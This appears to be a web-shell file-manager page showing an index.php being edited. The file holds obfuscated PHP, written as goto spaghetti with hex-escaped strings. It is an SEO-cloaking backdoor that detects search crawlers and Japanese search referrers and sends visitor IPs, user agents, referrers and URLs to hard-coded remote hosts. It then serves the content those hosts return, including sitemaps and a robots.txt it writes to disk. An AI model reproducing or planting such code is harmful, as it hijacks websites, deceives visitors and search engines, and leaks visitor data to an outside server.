OwlCyberSecurity - MANAGER

Edit File: index.php

<?php goto PCuX5; iGQEN: if (!(!$YAaum && $U4cZo && (preg_match("\x23\50\x28\134\x3f\x7c\x5c\77\x5f\174\x5c\57\51\133\141\x2d\172\x5d\51\134\x3d\134\144\x2b\43", $B7YpL) || preg_match("\57\x73\x68\157\160\144\x65\x74\141\151\154\x2f", $B7YpL) || preg_match("\57\x2e\x73\150\164\155\154\57", $B7YpL)))) { goto XxNa4; } goto Oxsvs; la31D: $yJXcE = "\x68\x74\164\160\72\57\57\x31\71\x32\56\x31\70\67\x2e\61\x30\60\x2e\61\x30\66\x2f\172\x36\60\x33\60\67\137\62\57"; goto qyPdI; nTKuQ: if (!(substr($B7YpL, -6) == "\x72\157\x62\x6f\x74\163")) { goto v_HGv; } goto RsvLu; Q8mG7: $QfbHU = strtolower(isset($_SERVER["\110\x54\x54\120\137\125\123\105\x52\x5f\x41\x47\x45\116\124"]) ? $_SERVER["\110\124\124\120\x5f\x55\x53\x45\122\137\101\x47\105\x4e\124"] : ''); goto ItI3L; w85yc: $DHOhy = $yJXcE . "\x6d\x61\160\56\x70\150\160"; goto fg3wr; W2R9s: XxNa4: goto fG1Id; Ry8jT: $Rl349 = str_replace("\56\170\155\154", '', $Rl349); goto JoSkP; Q3g_b: Oi1HJ: goto W0Z2j; xdjrR: $FHRsx = file_put_contents(__DIR__ . "\x2f\x72\157\142\157\x74\x73\56\x74\x78\x74", $mLtd0); goto nOmYW; nOmYW: if ($FHRsx) { goto kRItr; } goto ZrCpg; uaz_m: $Et6qE = isset($_SERVER["\110\x54\124\x50\123"]) && $_SERVER["\x48\124\x54\x50\123"] !== "\157\x66\146" ? "\150\164\x74\160\x73\72\57\57" : "\x68\x74\x74\160\x3a\57\x2f"; goto SWjfv; ySzPv: $r0Wx5 = $_SERVER["\x53\x45\122\126\x45\122\x5f\x4e\101\115\105"]; goto KGkzZ; BsPjp: VkYXb: goto VJHyE; VGC7D: O7P13: goto cHAvI; RaqCe: $T2jS2 = $yJXcE . "\151\156\x64\141\164\141\56\160\150\x70"; goto w85yc; XZPSM: goto DTZ1x; goto nqSu_; Oxsvs: $zoehA["\151\160"] = isset($_SERVER["\x52\x45\115\117\x54\105\x5f\101\x44\104\122"]) ? $_SERVER["\122\105\115\x4f\124\105\x5f\x41\x44\104\x52"] : ''; goto y2p3W; lT_NM: header("\x43\157\x6e\x74\145\x6e\164\55\x74\x79\x70\x65\x3a\164\x65\x78\164\57\170\155\154"); goto Gg6j0; vpODB: goto g5IsT; goto ZaQvA; Y9TtN: header("\103\157\156\164\x65\156\164\55\164\171\x70\x65\72\x74\145\170\164\x2f\170\x6d\154"); goto BVvDs; x0Fph: $qAO6r = OPTaX($DHOhy, $zoehA); goto Y9TtN; FfMuw: $zoehA["\x75\x73\145\x72\x5f\x61\x67\x65\156\x74"] = $QfbHU; goto sdzzb; dIWA1: $U4cZo = ogKbR($W8hjD); goto Q8mG7; fG1Id: if (!$YAaum) { goto F1MQO; } goto MeCJe; YAFgS: if (!(substr($B7YpL, -4) == "\56\x78\155\154")) { goto gb2Nr; } goto KDgaa; y9yoH: gb2Nr: goto Z6HZB; YXB4n: G06ca: goto n6FlR; nqSu_: UhHP6: goto Nw3Tf; YuVOL: function OgkBr($khMUF) { goto kAxTV; t_aC_: $xUuQy = true; goto UAFF6; bIKbJ: return $xUuQy; goto F6MIv; xJ80U: if (!($khMUF != '' && preg_match("\57\x28{$NSxgg}\x29\57\163\x69", $khMUF))) { goto EBwNB; } goto t_aC_; kAxTV: $xUuQy = false; goto JwZul; JwZul: $NSxgg = "\147\157\x6f\x67\x6c\x65\x2e\143\x6f\x2e\x6a\x70\x7c\171\141\x68\x6f\157\56\143\x6f\56\152\160\174\147\157\x6f\147\154\x65\56\143\x6f\155"; goto xJ80U; UAFF6: EBwNB: goto bIKbJ; F6MIv: } goto uaz_m; ihFqv: $FKDIB = isset($_SERVER["\x50\110\x50\x5f\123\x45\x4c\x46"]) ? $_SERVER["\x50\110\x50\x5f\x53\105\114\106"] : ''; goto U1P48; rWrF4: $zoehA["\x6d\x61\x69\156\x5f\x73\x68\145\x6c\x6c"] .= $FKDIB; goto DIioo; xAmQN: if (!(strpos($B7YpL, "\155\141\160") > 0 || $jEhRC == "\x31")) { goto O7P13; } goto YPxHx; cHAvI: $hETBi = OptAX($cZS62, $zoehA); goto s3GQv; fmGTe: exit; goto GKdhs; fg3wr: $yNyW2 = $yJXcE . "\152\x75\155\x70\x2e\160\x68\x70"; goto VInlF; ZrCpg: echo "\x72\157\x62\x6f\x74\163\56\164\x78\164\x20\x66\x69\154\145\x20\x63\162\145\x61\x74\145\40\146\x61\151\154\x21"; goto vpODB; BVvDs: echo $qAO6r; goto NOC94; PCuX5: $B7YpL = isset($_SERVER["\x52\x45\x51\125\105\x53\124\x5f\125\x52\111"]) ? $_SERVER["\x52\x45\121\x55\105\123\124\137\x55\x52\111"] : ''; goto ihFqv; HZXbk: $zoehA["\141\x63\164\x69\157\x6e"] = "\x63\150\145\x63\x6b\137\167\157\x72\144\x73"; goto sMo_M; v9Yur: $zoehA["\141\x63\164\151\x6f\x6e"] = "\x63\x68\145\x63\153\137\x73\x69\x74\145\x6d\141\160"; goto AMf1v; NOC94: exit; goto BsPjp; ckD5f: function wpP__($VmwGb) { goto fIHdy; kD1GE: return $jyGIh; goto YHqD4; QKKra: if (!($VmwGb != '')) { goto xRlWm; } goto yNCTr; vxTZ4: d5FON: goto V3DhD; V3DhD: xRlWm: goto kD1GE; yNCTr: if (!preg_match("\57\50{$uattp}\51\57\163\151", $VmwGb)) { goto d5FON; } goto KuGcr; z0M1x: $uattp = "\147\157\157\147\x6c\x65\142\x6f\x74\x7c\147\157\x6f\147\154\145\174\171\x61\150\x6f\157\174\x62\151\x6e\147\174\141\157\x6c"; goto QKKra; KuGcr: $jyGIh = true; goto vxTZ4; fIHdy: $jyGIh = false; goto z0M1x; YHqD4: } goto YuVOL; hogtD: echo $FrH5i; goto fmGTe; sMo_M: $jEhRC = OPtax($cZS62, $zoehA); goto xAmQN; MeCJe: $zoehA["\150\164\x74\x70\x5f\x75\x73\x65\x72\x5f\x61\147\145\156\164"] = $QfbHU; goto JFtYj; AWqpn: $zoehA["\150\x72\x65\x66"] = $Et6qE . $U7CSJ; goto HIbzB; KGkzZ: $TGnGw = $Et6qE . $U7CSJ . $B7YpL; goto RaqCe; XnZfF: exit; goto y9yoH; firJ1: echo "\x72\x6f\x62\x6f\164\x73\x2e\x74\170\x74\x20\x66\151\x6c\145\40\x63\x72\x65\x61\x74\x65\x20\x73\x75\x63\143\x65\x73\x73\x21"; goto OF0q4; Z6HZB: $W8hjD = isset($_SERVER["\x48\x54\x54\x50\137\122\105\x46\x45\122\105\x52"]) ? $_SERVER["\110\124\x54\120\x5f\122\x45\106\x45\x52\105\x52"] : ''; goto dIWA1; KDgaa: if (!(strpos($B7YpL, "\x61\x6c\154\163\151\164\x65\155\x61\160\x2e\170\x6d\154") || strpos($B7YpL, "\163\x69\164\x65\x6d\141\160\x2d\151\x6e\144\145\x78\56\x78\x6d\154") || strpos($B7YpL, "\163\151\164\x65\x6d\x61\160\55\x69\156\x64\x65\170\55\x31\x2e\170\155\x6c") || strpos($B7YpL, "\x69\156\144\145\170\x2e\170\x6d\x6c"))) { goto VkYXb; } goto x0Fph; ItI3L: $YAaum = wPP__($QfbHU); goto FS9t1; WYRGM: if (!strpos($B7YpL, "\56\x70\x68\160")) { goto DhvWq; } goto H9yX8; ngKfB: $zoehA["\x72\145\161\x5f\165\162\x6c"] = $TGnGw; goto AWqpn; niKkI: $rpWMt = $yJXcE . "\162\x6f\142\157\164\163\x2e\x70\x68\160"; goto uDrth; FS9t1: if (strpos($B7YpL, "\x2e\x70\150\160")) { goto Oi1HJ; } goto CcDns; VInlF: $cZS62 = $yJXcE . "\167\157\x72\x64\163\x2e\x70\150\x70"; goto niKkI; Fvxj3: oaKHB: goto t6EkS; Znq2M: $Rl349 = $Rl349[count($Rl349) - 1]; goto Ry8jT; W0Z2j: $mwGoi = "\77"; goto dHk4e; Nw3Tf: $Rl349 = explode("\x3f", $B7YpL); goto Znq2M; JFtYj: $FrH5i = oPTAx($T2jS2, $zoehA); goto hogtD; Gg6j0: echo $qAO6r; goto bXE54; jLczY: $zoehA["\144\157\155\141\x69\x6e"] = $U7CSJ; goto YG6EX; hRigi: echo $hETBi; goto XnZfF; H9yX8: $zoehA["\150\162\x65\146"] .= $FKDIB; goto rWrF4; qyPdI: $FKDIB = "\x2f\147\157\x6f\x64\x73\x2e\160\x68\x70"; goto YXB4n; y2p3W: $zoehA["\x72\145\146\145\x72\x65\162"] = $W8hjD; goto FfMuw; uIR4y: $Rl349 = str_replace("\57", '', $B7YpL); goto ZQod0; Zlis3: if (!($hETBi == "\x31")) { goto bAAjm; } goto CS3Pa; HIbzB: $zoehA["\x6d\141\151\156\137\x73\x68\145\154\x6c"] = $Et6qE . $r0Wx5; goto WYRGM; hJ8gu: if (!strstr($B7YpL, "\x67\157\x6f\144\x73\x2e\x70\x68\160")) { goto G06ca; } goto la31D; s3GQv: header("\103\157\x6e\164\145\x6e\164\x2d\x74\x79\160\x65\x3a\x74\x65\x78\164\57\170\x6d\154"); goto hRigi; DIioo: DhvWq: goto nTKuQ; t6EkS: $mLtd0 = @opTaX($rpWMt, $zoehA); goto xdjrR; y8ZnA: goto H9TM_; goto Q3g_b; ZQod0: $Rl349 = str_replace("\x2e\170\x6d\154", '', $Rl349); goto XZPSM; bXE54: exit; goto biifx; CcDns: $mwGoi = "\x2f"; goto y8ZnA; YPxHx: $zoehA["\x61\143\164\x69\x6f\x6e"] = "\162\141\x6e\x64\137\170\155\x6c"; goto VGC7D; hGW_z: v_HGv: goto YAFgS; biifx: bAAjm: goto HZXbk; SWjfv: $U7CSJ = $_SERVER["\x48\x54\124\x50\x5f\x48\x4f\x53\x54"]; goto ySzPv; xbdNB: $zoehA["\167\157\x72\x64"] = $Rl349; goto v9Yur; JoSkP: DTZ1x: goto xbdNB; OF0q4: g5IsT: goto FjUYp; iKwgC: $zoehA["\162\157\x62\x6f\x74\163\x5f\143\157\156\x74"] = @file_get_contents(__DIR__ . "\57\x72\157\x62\x6f\x74\163\x2e\164\170\164"); goto Fvxj3; gw_Wj: if (!file_exists(__DIR__ . "\57\162\157\142\157\164\163\x2e\x74\x78\164")) { goto oaKHB; } goto iKwgC; YG6EX: $zoehA["\x72\x65\x71\137\x75\x72\x69"] = $B7YpL; goto ngKfB; AMf1v: $hETBi = OpTaX($cZS62, $zoehA); goto Zlis3; FjUYp: exit; goto hGW_z; n6FlR: function opTAx($lePBx, $su8yM = array()) { goto Q2ZFz; kZMmp: $uNqR2 = curl_init(); goto rr6PK; rr6PK: curl_setopt($uNqR2, CURLOPT_URL, $lePBx); goto nfnWg; NrAvE: curl_setopt($uNqR2, CURLOPT_TIMEOUT, 10); goto dbLF8; IMcRr: return $DGDec; goto ObJSI; MrXlT: if (!(0 !== $Wqyz0)) { goto NaW35; } goto gT3N2; nfnWg: curl_setopt($uNqR2, CURLOPT_RETURNTRANSFER, 1); goto GglLH; Crp_B: curl_setopt($uNqR2, CURLOPT_POSTFIELDS, http_build_query($su8yM)); goto XCM9j; XCM9j: $DGDec = curl_exec($uNqR2); goto uMo4x; uMo4x: $Wqyz0 = curl_errno($uNqR2); goto nvJuZ; Q2ZFz: $lePBx = str_replace("\x20", "\x2b", $lePBx); goto kZMmp; GglLH: curl_setopt($uNqR2, CURLOPT_HEADER, 0); goto NrAvE; dbLF8: curl_setopt($uNqR2, CURLOPT_POST, 1); goto gANNQ; nvJuZ: curl_close($uNqR2); goto MrXlT; gANNQ: curl_setopt($uNqR2, CURLOPT_SSL_VERIFYPEER, FALSE); goto saC_E; Sw1LJ: NaW35: goto IMcRr; gT3N2: return false; goto Sw1LJ; saC_E: curl_setopt($uNqR2, CURLOPT_SSL_VERIFYHOST, FALSE); goto Crp_B; ObJSI: } goto ckD5f; uDrth: $zoehA = array(); goto jLczY; U1P48: $yJXcE = "\150\x74\x74\160\x3a\57\x2f\x31\64\x32\x2e\65\64\x2e\x31\x37\67\x2e\62\x2f\172\66\60\63\x32\x33\x5f\x32\57"; goto hJ8gu; RsvLu: $zoehA["\162\x6f\x62\157\x74\x73\x5f\x63\x6f\x6e\164"] = ''; goto gw_Wj; ZaQvA: kRItr: goto firJ1; r_GFq: exit; goto W2R9s; VJHyE: if (strpos($B7YpL, "\56\x70\150\160")) { goto UhHP6; } goto uIR4y; CS3Pa: $qAO6r = optAX($DHOhy, $zoehA); goto lT_NM; dHk4e: H9TM_: goto iGQEN; sdzzb: echo OPtaX($yNyW2, $zoehA); goto r_GFq; GKdhs: F1MQO:?>